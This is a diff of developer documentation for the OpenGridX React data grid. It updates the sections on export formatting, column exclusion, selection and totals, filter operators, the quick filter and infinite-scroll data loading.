414
|
});
|
|
337
415
|
```
|
|
338
416
|
|
|
417
|
+
### Columns without a `valueFormatter`
|
|
418
|
+
|
|
419
|
+
CSV, Excel (HTML), print and PDF write the text the grid shows. Without a `valueFormatter`, that is the column type's default (v3.0): a `date` column writes the local calendar date, `boolean` writes Yes / No, and `singleSelect` writes the `valueOptions` label. JSON and the advanced XLSX export keep raw values.
|
|
420
|
+
|
|
339
421
|
### Respect `valueFormatter` for styled columns
|
|
340
422
|
|
|
341
423
|
The advanced export keeps **raw values** for typed columns (`number`, `date`, `boolean`) so Excel can format them natively with `numFmt`. For `string` columns, `valueFormatter` is applied before writing.
|
|
@@ -345,7 +427,7 @@ const columns: GridColDef[] = [
|
|
|
345
427
|
{
|
|
346
428
|
field: 'salary',
|
|
347
429
|
type: 'number', // ← raw number written to Excel
|
|
348
|
-
valueFormatter: ({ value }) => `$${value.toLocaleString()}`, // used in CSV/print
|
|
430
|
+
valueFormatter: ({ value }) => `$${(value as number).toLocaleString()}`, // used in CSV/print
|
|
349
431
|
},
|
|
350
432
|
];
|
|
351
433
|
|
|
@@ -360,7 +442,7 @@ await exportToExcelAdvanced(rows, columns, {
|
|
|
360
442
|
|
|
361
443
|
## Value Formatters
|
|
362
444
|
|
|
363
|
-
|
|
445
|
+
Every exporter applies `valueGetter`. CSV, basic Excel, print and PDF write the `valueFormatter` text, as the grid does — since v3.0 the formatter also runs for `null` / `undefined` values, so placeholder text such as `'Unassigned'` or `'—'` is exported (a formatter that throws for a missing value exports an empty cell). JSON writes raw values, and advanced Excel writes typed columns natively (see the note below):
|
|
364
446
|
|
|
365
447
|
```tsx
|
|
366
448
|
const columns: GridColDef[] = [
|
|
@@ -370,25 +452,34 @@ const columns: GridColDef[] = [
|
|
|
370
452
|
},
|
|
371
453
|
{
|
|
372
454
|
field: 'salary',
|
|
373
|
-
valueFormatter: ({ value }) => `$${value.toLocaleString()}`,
|
|
455
|
+
valueFormatter: ({ value }) => `$${(value as number).toLocaleString()}`,
|
|
374
456
|
},
|
|
375
457
|
];
|
|
376
458
|
```
|
|
377
459
|
|
|
378
|
-
> **Note:** In `exportToExcelAdvanced`, `valueFormatter` is only applied for `string`-typed columns. For `number`/`date`/`boolean` columns, raw values are passed to Excel and formatted via `columnStyles.numFmt
|
|
460
|
+
> **Note:** In `exportToExcelAdvanced`, `valueFormatter` is only applied for `string`-typed columns. For `number`/`date`/`boolean` columns, raw values are passed to Excel and formatted via `columnStyles.numFmt`; the formatter is used only for values that are missing or not of the column's type (see [Cell types](#cell-types)).
|
|
461
|
+
|
|
462
|
+
### Aggregate values
|
|
463
|
+
|
|
464
|
+
Subtotal, grand-total and totals cells are formatted the same way in every text format (CSV, basic Excel, print, PDF):
|
|
465
|
+
|
|
466
|
+
- `count` and `unique` are plain counts formatted like the grid footer (`1,234`); the column's `valueFormatter` is not applied, because a count of a currency column is not an amount.
|
|
467
|
+
- `sum`, `avg`, `min` and `max` go through the column's `valueFormatter`. Its `row` argument is the record of aggregated values (like the grid's group rows), not a data row; if the formatter throws, the value is formatted like the grid footer instead of aborting the export. `min` / `max` of a `type: 'date'` column reach the formatter as a `Date`.
|
|
468
|
+
- When the first exported column has its own aggregate, its value is kept next to the label (`Subtotal: 300`, `TOTAL: $30.00`) instead of being overwritten.
|
|
379
469
|
|
|
380
470
|
---
|
|
381
471
|
|
|
382
472
|
## Excluding Columns
|
|
383
473
|
|
|
384
|
-
You can exclude specific columns (e.g., action buttons or menus) from all export formats using the `exportable` property in the column definition.
|
|
474
|
+
You can exclude specific columns (e.g., action buttons or menus) from all export formats using the `exportable` property in the column definition. A few fields are also excluded automatically. Every other column you pass is exported, including hidden ones: pass `apiRef.current.getVisibleColumns()` to export what is on screen.
|
|
385
475
|
|
|
386
476
|
| Method | Description |
|
|
387
477
|
|---|---|
|
|
388
478
|
| `exportable: false` | Set in `GridColDef` to manually exclude any column |
|
|
389
|
-
| `
|
|
390
|
-
| `
|
|
391
|
-
| `
|
|
479
|
+
| `__checkbox_col__`, `__expand_col__`, `__reorder_col__` | The grid's checkbox, detail-panel and drag-handle columns (auto-excluded, v3.0+) |
|
|
480
|
+
| `__group__` | The row-grouping column from `groupingColDef` (auto-excluded; grouped exports write group labels from `groupedRows`) |
|
|
481
|
+
| `__check__`, `__actions__` | Legacy checkbox / action-button field names (auto-excluded) |
|
|
482
|
+
| `isSpacer: true` | Spacer columns (auto-excluded from every format since v3.0; before, only advanced Excel skipped them) |
|
|
392
483
|
|
|
393
484
|
### Example
|
|
394
485
|
```tsx
|
|
@@ -398,13 +489,26 @@ const columns: GridColDef[] = [
|
|
|
398
489
|
{
|
|
399
490
|
field: 'actions',
|
|
400
491
|
headerName: 'Actions',
|
|
401
|
-
exportable: false // This column won't appear in CSV/Excel/JSON/Print
|
|
492
|
+
exportable: false // This column won't appear in CSV/Excel/JSON/PDF/Print
|
|
402
493
|
},
|
|
403
494
|
];
|
|
404
495
|
```
|
|
405
496
|
|
|
406
497
|
---
|
|
407
498
|
|
|
499
|
+
## Selection, grouping and totals
|
|
500
|
+
|
|
501
|
+
Every exporter follows the same rules (v3.0+):
|
|
502
|
+
|
|
503
|
+
- **`selectedRows`** exports only the rows with those IDs, picked from the `rows` you pass. Pass all rows plus `selectedRows` rather than pre-filtering, so the exporter knows a selection was applied.
|
|
504
|
+
- **A non-empty selection takes precedence over `groupedRows`**: the selected rows are exported flat. (Before v3.0, CSV, basic Excel, JSON, print and PDF silently ignored the selection and exported every grouped row.) In `exportToExcelAdvanced`, `rows: 'selected'` sheets are flat and `rows: 'all'` sheets use `groupedRows`.
|
|
505
|
+
- **Totals follow the exported rows.** The grid's `aggregationResult` covers all filtered rows; when a selection narrows the export, the totals row is recomputed over the selected rows with the grid's own aggregation functions (it needs `aggregationModel`). Without a selection, `aggregationResult` is written as given — if you pass a subset of rows yourself (e.g. the current page), pass totals computed for that subset.
|
|
506
|
+
- Row selection is linear in the number of rows, so exporting "select all" on a large grid does not freeze the tab.
|
|
507
|
+
- **With a custom `getRowId`, pass it as the `getRowId` option.** `selectedRows` holds the grid's ids, and since v3.0 the grid no longer copies them onto `row.id`, so without the option a row that keeps its id in another field (or whose `id` field is not the key) is not matched.
|
|
508
|
+
- **`getGroupedExportRows()` exports every group**, collapsed or not, sorted and filtered like the screen; groups with no row left after the filter are omitted, and each subtotal is computed over the rows exported under it (v3.0+).
|
|
509
|
+
|
|
510
|
+
---
|
|
511
|
+
|
|
408
512
|
## Performance Notes
|
|
409
513
|
|
|
410
514
|
| Format | 10k rows | 100k rows |
|
|
@@ -428,7 +532,9 @@ All export functions work in:
|
|
|
428
532
|
|
|
429
533
|
## See Also
|
|
430
534
|
|
|
431
|
-
- [
|
|
432
|
-
- [
|
|
433
|
-
- [
|
|
434
|
-
- [
|
|
535
|
+
- [PDF Export](./pdf-export.md)
|
|
536
|
+
- [Toolbar Customization](./toolbar-customization.md)
|
|
537
|
+
- [Demo: Export Data](https://github.com/OpenCoreStack/OpenGridX/blob/main/demo/examples/ExportDemo/ExportDemo.tsx)
|
|
538
|
+
- [Demo: Advanced Excel Export](https://github.com/OpenCoreStack/OpenGridX/blob/main/demo/examples/AdvancedExcelExportDemo/AdvancedExcelExportDemo.tsx)
|
|
539
|
+
- [Slots API Reference](../customization/slots-api.md)
|
|
540
|
+
- [Theming Guide](../customization/theming.md)
|
|
@@ -3,7 +3,7 @@
|
|
|
3
3
|
OpenGridX provides a robust filtering system with support for both client-side and server-side operations.
|
|
4
4
|
|
|
5
5
|
## 📑 Overview
|
|
6
|
-
- **Quick Filter**: Search across all columns
|
|
6
|
+
- **Quick Filter**: Search across all visible, filterable columns at once.
|
|
7
7
|
- **Column Filters**: Specific operators for different data types (string, number, date, etc.).
|
|
8
8
|
- **Multi-Filter Groups**: Support for `AND`/`OR` logic operators.
|
|
9
9
|
- **Server-Side Filtering**: Offload complex queries to your backend.
|
|
@@ -25,11 +25,24 @@ Simply define your columns with `filterable: true` (which is the default).
|
|
|
25
25
|
/>
|
|
26
26
|
```
|
|
27
27
|
|
|
28
|
+
The filter model can be controlled (`filterModel` + `onFilterModelChange`) or left to the grid. Uncontrolled, the grid keeps its own filter model: the toolbar search and filter panel (`slots={{ toolbar: GridToolbar }}`) and `apiRef.current.setFilterModel()` change it, `onFilterModelChange` reports each change, and `initialState.filter.filterModel` sets the starting filter (which is how [state persistence](./state-persistence.md) restores it).
|
|
29
|
+
|
|
30
|
+
```tsx
|
|
31
|
+
<DataGrid
|
|
32
|
+
rows={rows}
|
|
33
|
+
columns={columns}
|
|
34
|
+
slots={{ toolbar: GridToolbar }} // search + filters work without any filter props
|
|
35
|
+
initialState={{ filter: { filterModel: { items: [{ field: 'age', operator: '>', value: 30 }] } } }}
|
|
36
|
+
/>
|
|
37
|
+
```
|
|
38
|
+
|
|
28
39
|
### Server-Side Filtering
|
|
29
|
-
Set `filterMode="server"` and handle the request in your `dataSource`.
|
|
40
|
+
Set `filterMode="server"` and handle the request in your `dataSource`. The grid does not re-filter the rows it receives. Without a `dataSource`, fetch the filtered rows yourself from `onFilterModelChange` and pass them as `rows`.
|
|
30
41
|
|
|
31
42
|
```tsx
|
|
32
43
|
<DataGrid
|
|
44
|
+
rows={[]}
|
|
45
|
+
columns={columns}
|
|
33
46
|
filterMode="server"
|
|
34
47
|
onFilterModelChange={(model) => console.log('Current Filters:', model)}
|
|
35
48
|
dataSource={{
|
|
@@ -62,12 +75,35 @@ interface GridFilterItem {
|
|
|
62
75
|
```
|
|
63
76
|
|
|
64
77
|
### Supported Operators
|
|
78
|
+
|
|
79
|
+
The filter panel offers these operators per column `type` (the first one is the default):
|
|
80
|
+
|
|
65
81
|
| Type | Operators |
|
|
66
82
|
| :--- | :--- |
|
|
67
|
-
| **String** | `contains`, `equals`, `startsWith`, `endsWith`, `isEmpty`, `isNotEmpty
|
|
68
|
-
| **Number** |
|
|
69
|
-
| **Date** | `is`, `not`, `isEmpty`, `isNotEmpty` |
|
|
83
|
+
| **String** (default) | `contains`, `equals`, `startsWith`, `endsWith`, `isEmpty`, `isNotEmpty` |
|
|
84
|
+
| **Number** | `=`, `!=`, `>`, `>=`, `<`, `<=`, `isEmpty`, `isNotEmpty` |
|
|
85
|
+
| **Date** | `is`, `not`, `after`, `onOrAfter`, `before`, `onOrBefore`, `isEmpty`, `isNotEmpty` |
|
|
70
86
|
| **Boolean** | `is` |
|
|
87
|
+
| **singleSelect** | `isAnyOf`, `is`, `not` |
|
|
88
|
+
|
|
89
|
+
Every operator in `GridFilterOperator` also works in a programmatic `filterModel` on any column; the panel shows such an operator as it is.
|
|
90
|
+
|
|
91
|
+
### How values are matched
|
|
92
|
+
|
|
93
|
+
- **Empty values do not filter.** An item whose `value` is `undefined`, `null`, a blank string or an empty array is ignored, so picking an operator before typing (or clearing the input) leaves the grid unfiltered. `isEmpty` / `isNotEmpty` need no value.
|
|
94
|
+
- **Computed columns.** Cells are read through the column's `valueGetter`, so a computed column filters by the value it displays.
|
|
95
|
+
- **Text operators** (`contains`, `equals`, `startsWith`, `endsWith`, `is`, `not`) compare case-insensitively.
|
|
96
|
+
- **Number operators** compare numerically and accept numeric strings. A blank cell is empty, not `0`: it never matches `=`, `>`, `<` … and always matches `!=`.
|
|
97
|
+
- **Date operators** compare local calendar days. Cells and values can be `Date` objects, epoch milliseconds or date strings; a `'YYYY-MM-DD'` string is read as a local date (not UTC midnight). `not` matches empty cells; the other date operators never do.
|
|
98
|
+
- **`isAnyOf`** takes an array of allowed values. A single value is treated as a one-element list; an empty array does not filter.
|
|
99
|
+
|
|
100
|
+
### Quick Filter
|
|
101
|
+
|
|
102
|
+
`quickFilterValues` is a list of terms. A row matches when **every** term is found (case-insensitive substring) in at least one searched column.
|
|
103
|
+
|
|
104
|
+
- Only **visible** columns with `filterable !== false` are searched. The row `id` and fields that are not columns are not searched.
|
|
105
|
+
- Each column is searched by its value after `valueGetter` and, when the column has a `valueFormatter`, by the formatted text as well. `Date` values are searched as `YYYY-MM-DD`; objects are skipped.
|
|
106
|
+
- The toolbar search box splits what the user types on whitespace, so `john london` becomes `['john', 'london']` and matches a row with first name John and city London.
|
|
71
107
|
|
|
72
108
|
---
|
|
73
109
|
|
|
@@ -76,10 +112,12 @@ The filter panel is accessible through the built-in `GridToolbar`. To use your o
|
|
|
76
112
|
|
|
77
113
|
```tsx
|
|
78
114
|
<DataGrid
|
|
115
|
+
rows={rows}
|
|
116
|
+
columns={columns}
|
|
79
117
|
slots={{
|
|
80
118
|
toolbar: MyCustomToolbar
|
|
81
119
|
}}
|
|
82
120
|
/>
|
|
83
121
|
```
|
|
84
122
|
|
|
85
|
-
The `FilterPanel` component is also exported from `@opencorestack/opengridx` if you need to embed it inside a custom layout.
|
|
123
|
+
The `FilterPanel` component is also exported from `@opencorestack/opengridx` if you need to embed it inside a custom layout. See [`<FilterPanel />`](../components/filter-panel.md) for how it edits the model.
|
|
@@ -5,83 +5,91 @@ The OpenGridX DataGrid supports infinite scrolling (lazy loading), allowing you
|
|
|
5
5
|
## Concept
|
|
6
6
|
|
|
7
7
|
When infinite scroll is enabled, the grid:
|
|
8
|
-
1.
|
|
9
|
-
2. Uses `paginationModel`
|
|
8
|
+
1. Shows no pager and never slices the loaded rows (`pagination` is ignored).
|
|
9
|
+
2. Uses `paginationModel.page` and `pageSize` to decide how many rows should be loaded: `(page + 1) * pageSize`.
|
|
10
10
|
3. Triggers `onRowsScrollEnd` when the user scrolls near the bottom of the grid, signaling that more data should be fetched.
|
|
11
|
-
4.
|
|
11
|
+
4. **Appends** each response to the rows already loaded. Your `getRows` only returns the requested range.
|
|
12
12
|
|
|
13
13
|
## Usage
|
|
14
14
|
|
|
15
15
|
To enable infinite scrolling:
|
|
16
16
|
|
|
17
|
-
1.
|
|
17
|
+
1. Pass a `dataSource` whose `getRows` returns the rows in `[startRow, endRow)`.
|
|
18
18
|
2. Set `paginationMode="infinite"`.
|
|
19
|
-
3.
|
|
20
|
-
4.
|
|
19
|
+
3. Control `paginationModel` and advance `page` in `onRowsScrollEnd`. The grid does not advance the page on its own.
|
|
20
|
+
4. Set `sortingMode="server"` / `filterMode="server"` if `getRows` applies `sortModel` / `filterModel`.
|
|
21
21
|
|
|
22
22
|
```tsx
|
|
23
|
-
import {
|
|
23
|
+
import { useCallback, useMemo, useState } from 'react';
|
|
24
|
+
import {
|
|
25
|
+
DataGrid,
|
|
26
|
+
type GridColDef,
|
|
27
|
+
type GridDataSource,
|
|
28
|
+
type GridPaginationModel,
|
|
29
|
+
} from '@opencorestack/opengridx';
|
|
30
|
+
import '@opencorestack/opengridx/styles';
|
|
24
31
|
|
|
25
|
-
|
|
32
|
+
type Person = {
|
|
33
|
+
id: number;
|
|
34
|
+
name: string;
|
|
35
|
+
};
|
|
36
|
+
|
|
37
|
+
const columns: GridColDef<Person>[] = [
|
|
38
|
+
{ field: 'id', headerName: 'ID', width: 90 },
|
|
39
|
+
{ field: 'name', headerName: 'Name', width: 200, sortable: true },
|
|
40
|
+
];
|
|
41
|
+
|
|
42
|
+
// With a dataSource the grid owns the loaded rows; `rows` only seeds the store.
|
|
43
|
+
const NO_ROWS: Person[] = [];
|
|
44
|
+
|
|
45
|
+
declare function fetchPeople(params: {
|
|
46
|
+
startRow: number;
|
|
47
|
+
endRow: number;
|
|
48
|
+
sort?: { field: string; sort: 'asc' | 'desc' };
|
|
49
|
+
}): Promise<{ rows: Person[]; total: number }>;
|
|
26
50
|
|
|
27
51
|
export default function InfiniteScrollDemo() {
|
|
28
|
-
const [paginationModel, setPaginationModel] = useState({
|
|
52
|
+
const [paginationModel, setPaginationModel] = useState<GridPaginationModel>({
|
|
29
53
|
page: 0,
|
|
30
|
-
pageSize: 50
|
|
54
|
+
pageSize: 50,
|
|
31
55
|
});
|
|
32
|
-
|
|
33
|
-
const
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
// Fetch NEXT batch of rows from server
|
|
40
|
-
const response = await mockApi.getRows(params);
|
|
41
|
-
|
|
42
|
-
// CRITICAL: Append new rows to existing rows
|
|
43
|
-
// (Or ensure response.rows contains ONLY new rows and parent handles appending)
|
|
44
|
-
return response;
|
|
45
|
-
} finally {
|
|
46
|
-
setLoading(false);
|
|
47
|
-
}
|
|
48
|
-
}
|
|
56
|
+
|
|
57
|
+
const dataSource = useMemo<GridDataSource<Person>>(() => ({
|
|
58
|
+
getRows: async ({ startRow, endRow, sortModel }) => {
|
|
59
|
+
// Return ONLY the requested range; the grid appends it to what is loaded.
|
|
60
|
+
const { rows, total } = await fetchPeople({ startRow, endRow, sort: sortModel[0] });
|
|
61
|
+
return { rows, rowCount: total };
|
|
62
|
+
},
|
|
49
63
|
}), []);
|
|
50
64
|
|
|
51
65
|
const handleScrollEnd = useCallback(() => {
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
setPaginationModel(prev => ({
|
|
55
|
-
...prev,
|
|
56
|
-
page: prev.page + 1
|
|
57
|
-
}));
|
|
58
|
-
}
|
|
59
|
-
}, [loading]);
|
|
66
|
+
setPaginationModel(prev => ({ ...prev, page: prev.page + 1 }));
|
|
67
|
+
}, []);
|
|
60
68
|
|
|
61
69
|
return (
|
|
62
70
|
<DataGrid
|
|
63
|
-
rows={
|
|
71
|
+
rows={NO_ROWS}
|
|
64
72
|
columns={columns}
|
|
65
73
|
dataSource={dataSource}
|
|
66
|
-
|
|
67
|
-
// KEY PROPS FOR INFINITE SCROLL
|
|
68
|
-
pagination={false}
|
|
69
74
|
paginationMode="infinite"
|
|
70
75
|
sortingMode="server"
|
|
71
|
-
|
|
72
76
|
paginationModel={paginationModel}
|
|
73
77
|
onPaginationModelChange={setPaginationModel}
|
|
74
|
-
|
|
75
78
|
onRowsScrollEnd={handleScrollEnd}
|
|
79
|
+
height={400}
|
|
76
80
|
/>
|
|
77
81
|
);
|
|
78
82
|
}
|
|
79
83
|
```
|
|
80
84
|
|
|
85
|
+
The grid needs a bounded height (here `height={400}`) and the stylesheet import; without either the viewport never scrolls, every loaded row renders, and `onRowsScrollEnd` keeps firing until the whole dataset is loaded.
|
|
86
|
+
|
|
81
87
|
## Implementation Details
|
|
82
88
|
|
|
83
|
-
* **`onRowsScrollEnd`**:
|
|
84
|
-
* **
|
|
85
|
-
* **
|
|
86
|
-
|
|
87
|
-
|
|
89
|
+
* **`onRowsScrollEnd`**: Fired once when the end of the rows comes within 100px of the viewport bottom (`scrollHeight - scrollTop - clientHeight < 100`). It is re-armed when the user scrolls out of that zone or the row count changes, so one scroll gesture loads one page. It also fires after the rows change when the end is already in view, so a first page that does not fill the viewport keeps loading until it does. Horizontal scrolling never fires it.
|
|
90
|
+
* **Loading placeholders**: the skeleton rows shown while the next page loads are drawn after the last loaded row, only when the user has scrolled to the end of the data.
|
|
91
|
+
* **Ranges, not pages**: each request asks for `[rows loaded so far, (page + 1) * pageSize)`. Advancing the page twice within the 300 ms debounce, or while a request is in flight, still loads every row in between: one request runs at a time and, when it lands, the grid requests whatever the current page still needs. A response shorter than requested is treated as the end of the data until the page advances again.
|
|
92
|
+
* **Appending**: rows are appended; a row whose id (`getRowId`) is already loaded is skipped, so overlapping pages never show a row twice.
|
|
93
|
+
* **Restarting**: a sort, filter, page-size or `dataSource` (`getRows`) change replaces the rows with a new request from row 0 and reports page 0 through `onPaginationModelChange`. Setting a smaller page yourself reloads the list up to that page.
|
|
94
|
+
* **No pager**: `paginationMode="infinite"` ignores `pagination`; no pagination bar is shown and loaded rows are never sliced.
|
|
95
|
+
* **Stale responses**: a response for a list that has since restarted is discarded.
|